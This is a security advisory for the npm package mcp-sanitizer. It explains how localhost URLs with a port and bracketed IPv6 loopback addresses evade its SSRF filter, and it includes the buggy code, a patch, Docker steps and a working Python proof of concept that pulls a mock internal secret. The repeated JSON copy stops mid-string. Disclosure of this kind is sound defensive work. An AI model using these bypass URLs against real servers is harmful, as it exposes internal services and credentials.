GHSA-4MFG-R38W-W8FG
Vulnerability from github – Published: 2026-10-28 19:51 – Updated: 2026-10-28 19:51URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Summary
mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.
Details
The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.
Bug 1 — Port-guarded localhost check (line 274–276):
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
throw new Error('URL points to localhost without explicit port');
}
The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.
Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.
Data flow through the middleware:
src/middleware/express.js:499— tool name derived fromreq.params.toolName || req.body?.tool_name.src/middleware/express.js:548-554—web_scraper/web_fetchparams.urlforwarded tosanitizer.sanitize(url, { type: 'url' }).src/sanitizer/mcp-sanitizer.js:527-528— context typeurlroutes to_secureSanitizeURL().src/sanitizer/mcp-sanitizer.js:698-700—validateURLLocation(parsedUrl)called; on success,parsedUrl.toString()returned to caller as the sanitized, trusted URL.
Both bugs are in the default code path; no special configuration is required to trigger them.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@
- const hostname = parsedUrl.hostname.toLowerCase();
+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@
- if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
- throw new Error('URL points to localhost without explicit port');
+ if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+ throw new Error('URL points to localhost or loopback');
}
@@
- if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+ if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+ hostname.startsWith('fc') || hostname.startsWith('fd')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
+
+ if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+ }
PoC
Prerequisites: Docker installed; no other dependencies required.
1. Build the Docker image:
docker build \
-f vuln-001/Dockerfile \
-t vuln-001-mcp-sanitizer \
reports/npmAI_754_starman69__mcp-sanitizer
2. Run the PoC:
docker run --rm vuln-001-mcp-sanitizer
The poc.py script inside the image:
- Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c.
- Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates).
- Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.
Expected output (abbreviated):
[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end
Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.
Minimal inline repro (no Docker):
# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
'http://localhost:8080/',
'http://[::1]:8080/',
'http://[fe80::1]:8080/'
]) {
const r = sanitizer.sanitize(url, { type: 'url' });
console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:
- Uses
mcp-sanitizer'ssanitize()/createMCPToolMiddleware()as the security boundary for outbound URLs, and - Passes the returned sanitized URL to an HTTP client (the library's documented intended use for
web_fetch/web_scraperMCP tools),
is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.
Consequences:
- Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.
- Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.
- Availability: Not directly impacted.
The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.
Reproduction artifacts
Dockerfile
FROM node:18-alpine
# Install Python3 for the PoC script
RUN apk add --no-cache python3
WORKDIR /app
# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./
# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev
# Copy library source
COPY repo/src ./src/
# Copy PoC script
COPY vuln-001/poc.py ./poc.py
# Run the PoC by default
CMD ["python3", "poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)
Root cause:
src/utils/validation-utils.js:274:
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
- The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
- Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
so the string equality check against "::1" and startsWith("fe80:") both silently fail.
Attack scenario:
1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
service (localhost:PORT), leaking its response to the attacker.
"""
import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os
# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
# This simulates a privileged internal endpoint (e.g., metadata API,
# admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"
class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
"""Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("X-Internal", "true")
self.end_headers()
self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())
def log_message(self, fmt, *args):
pass # Suppress default access logs for cleaner output
internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")
# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
const tests = [
// These should be BLOCKED (baseline: library is supposed to block localhost)
{ url: 'http://localhost/', expectBlocked: true },
{ url: 'http://127.0.0.1/', expectBlocked: true },
// These are the BYPASS cases (the vulnerability)
{ url: 'http://localhost:8080/', expectBlocked: false },
{ url: 'http://[::1]:8080/', expectBlocked: false },
{ url: 'http://[fe80::1]:8080/', expectBlocked: false },
];
const out = tests.map(t => {
let result;
try {
result = sanitizer.sanitize(t.url, { type: 'url' });
return {
url: t.url,
blocked: result.blocked,
sanitized: result.sanitized,
expectBlocked: t.expectBlocked
};
} catch (err) {
return {
url: t.url,
blocked: true,
sanitized: null,
expectBlocked: t.expectBlocked,
error: err.message
};
}
});
process.stdout.write(JSON.stringify(out));
"""
print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
["node", "-e", NODE_SCRIPT],
capture_output=True,
text=True,
cwd="/app"
)
if proc.returncode != 0:
print(f"[ERROR] Node.js process exited with code {proc.returncode}")
print(f"stderr: {proc.stderr}")
sys.exit(2)
if not proc.stdout.strip():
print("[ERROR] No output from Node.js process")
print(f"stderr: {proc.stderr}")
sys.exit(2)
results = json.loads(proc.stdout)
# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35} {'blocked':<8} {'sanitized':<35} status"
print(header)
print("-" * len(header))
bypass_urls = []
unexpected = []
for r in results:
blocked = r["blocked"]
expected = r["expectBlocked"]
sanitized_str = str(r.get("sanitized") or "null")
status = "OK" if blocked == expected else "UNEXPECTED"
if not blocked and r.get("sanitized"):
bypass_urls.append(r["sanitized"])
status = "BYPASS_CONFIRMED"
print(f"{r['url']:<35} {str(blocked):<8} {sanitized_str:<35} {status}")
if blocked != expected:
unexpected.append(r)
print()
# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
# This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"
if ssrf_url in bypass_urls:
print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
try:
resp = urllib.request.urlopen(ssrf_url, timeout=5)
body = resp.read().decode().strip()
print(f"[*] HTTP response status: {resp.status}")
print(f"[*] HTTP response body:\n {body.replace(chr(10), chr(10) + ' ')}")
if INTERNAL_SECRET in body:
ssrf_confirmed = True
ssrf_evidence = body
print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
except Exception as exc:
print(f"[ERROR] HTTP request failed: {exc}")
else:
print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")
internal_server.shutdown()
# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f" Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f" Bypassed URLs: {bypass_urls}")
print(f" Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f" Exfiltrated secret matches: {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")
if ssrf_confirmed and len(bypass_urls) >= 2:
print("\n RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
print(" - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
print(f" - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
sys.exit(0)
elif len(bypass_urls) >= 2:
print("\n RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
print(f" - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
sys.exit(1)
else:
print("\n RESULT: FAIL - expected at least 2 bypass URLs")
sys.exit(1)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcp-sanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T19:51:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 \u2014 Port-guarded localhost check (line 274\u2013276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n throw new Error(\u0027URL points to localhost without explicit port\u0027);\n}\n```\n\nThe `\u0026\u0026 !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 \u2014 Bracketed IPv6 hostname mismatch (lines 272, 293\u2013295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === \u0027::1\u0027` (line 274) and `hostname.startsWith(\u0027fe80:\u0027)` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` \u2014 tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` \u2014 `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: \u0027url\u0027 })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` \u2014 context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` \u2014 `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require(\u0027url\u0027);\n+const net = require(\u0027net\u0027);\n@@ \n- const hostname = parsedUrl.hostname.toLowerCase();\n+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, \u0027\u0027).replace(/\\.$/, \u0027\u0027);\n@@ \n- if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n- throw new Error(\u0027URL points to localhost without explicit port\u0027);\n+ if (hostname === \u0027localhost\u0027 || hostname.endsWith(\u0027.localhost\u0027) || hostname === \u0027::1\u0027) {\n+ throw new Error(\u0027URL points to localhost or loopback\u0027);\n }\n@@ \n- if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n+ if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027) ||\n+ hostname.startsWith(\u0027fc\u0027) || hostname.startsWith(\u0027fd\u0027)) {\n throw new Error(`URL points to link-local address: ${hostname}`);\n }\n+\n+ if (net.isIP(hostname) === 6 \u0026\u0026 (hostname === \u0027::1\u0027 || hostname.startsWith(\u0027fe80:\u0027))) {\n+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+ }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n -t vuln-001-mcp-sanitizer \\\n reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: \u0027url\u0027 })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ =\u003e \u0027INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/\u0027\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - \u003c\u003c\u0027NODE\u0027\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n \u0027http://localhost:8080/\u0027,\n \u0027http://[::1]:8080/\u0027,\n \u0027http://[fe80::1]:8080/\u0027\n]) {\n const r = sanitizer.sanitize(url, { type: \u0027url\u0027 });\n console.log(url, \u0027=\u003e blocked=\u0027, r.blocked, \u0027sanitized=\u0027, r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`\u0027s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library\u0027s documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter \u2014 typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n src/utils/validation-utils.js:274:\n if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port)\n - The \"\u0026\u0026 !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n 1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.\n 2. The server calls sanitize(params.url, { type: \u0027url\u0027 }) and trusts the result.\n 3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal\n service (localhost:PORT), leaking its response to the attacker.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport http.server\nimport threading\nimport urllib.request\nimport os\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 1: Start a mock \"internal\" service on 127.0.0.1:8080\n# This simulates a privileged internal endpoint (e.g., metadata API,\n# admin panel) that should never be reachable from external input.\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nINTERNAL_PORT = 8080\nINTERNAL_SECRET = \"INTERNAL_SECRET_DATA_9f3a2b1c\"\n\nclass InternalServiceHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).\"\"\"\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.send_header(\"X-Internal\", \"true\")\n self.end_headers()\n self.wfile.write(f\"{INTERNAL_SECRET}\\npath={self.path}\\n\".encode())\n\n def log_message(self, fmt, *args):\n pass # Suppress default access logs for cleaner output\n\n\ninternal_server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), InternalServiceHandler)\nsrv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)\nsrv_thread.start()\nprint(f\"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}\")\nprint(f\"[*] Internal secret: {INTERNAL_SECRET}\\n\")\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nNODE_SCRIPT = r\"\"\"\n\u0027use strict\u0027;\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\n\nconst tests = [\n // These should be BLOCKED (baseline: library is supposed to block localhost)\n { url: \u0027http://localhost/\u0027, expectBlocked: true },\n { url: \u0027http://127.0.0.1/\u0027, expectBlocked: true },\n // These are the BYPASS cases (the vulnerability)\n { url: \u0027http://localhost:8080/\u0027, expectBlocked: false },\n { url: \u0027http://[::1]:8080/\u0027, expectBlocked: false },\n { url: \u0027http://[fe80::1]:8080/\u0027, expectBlocked: false },\n];\n\nconst out = tests.map(t =\u003e {\n let result;\n try {\n result = sanitizer.sanitize(t.url, { type: \u0027url\u0027 });\n return {\n url: t.url,\n blocked: result.blocked,\n sanitized: result.sanitized,\n expectBlocked: t.expectBlocked\n };\n } catch (err) {\n return {\n url: t.url,\n blocked: true,\n sanitized: null,\n expectBlocked: t.expectBlocked,\n error: err.message\n };\n }\n});\n\nprocess.stdout.write(JSON.stringify(out));\n\"\"\"\n\nprint(\"[*] Running mcp-sanitizer URL sanitization tests via Node.js ...\")\nproc = subprocess.run(\n [\"node\", \"-e\", NODE_SCRIPT],\n capture_output=True,\n text=True,\n cwd=\"/app\"\n)\n\nif proc.returncode != 0:\n print(f\"[ERROR] Node.js process exited with code {proc.returncode}\")\n print(f\"stderr: {proc.stderr}\")\n sys.exit(2)\n\nif not proc.stdout.strip():\n print(\"[ERROR] No output from Node.js process\")\n print(f\"stderr: {proc.stderr}\")\n sys.exit(2)\n\nresults = json.loads(proc.stdout)\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 3: Print sanitizer results and identify bypassed URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"[*] Sanitizer results:\\n\")\nheader = f\"{\u0027URL\u0027:\u003c35} {\u0027blocked\u0027:\u003c8} {\u0027sanitized\u0027:\u003c35} status\"\nprint(header)\nprint(\"-\" * len(header))\n\nbypass_urls = []\nunexpected = []\n\nfor r in results:\n blocked = r[\"blocked\"]\n expected = r[\"expectBlocked\"]\n sanitized_str = str(r.get(\"sanitized\") or \"null\")\n status = \"OK\" if blocked == expected else \"UNEXPECTED\"\n if not blocked and r.get(\"sanitized\"):\n bypass_urls.append(r[\"sanitized\"])\n status = \"BYPASS_CONFIRMED\"\n print(f\"{r[\u0027url\u0027]:\u003c35} {str(blocked):\u003c8} {sanitized_str:\u003c35} {status}\")\n if blocked != expected:\n unexpected.append(r)\n\nprint()\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL\n# This proves the sanitizer flaw leads to real internal service access.\n# 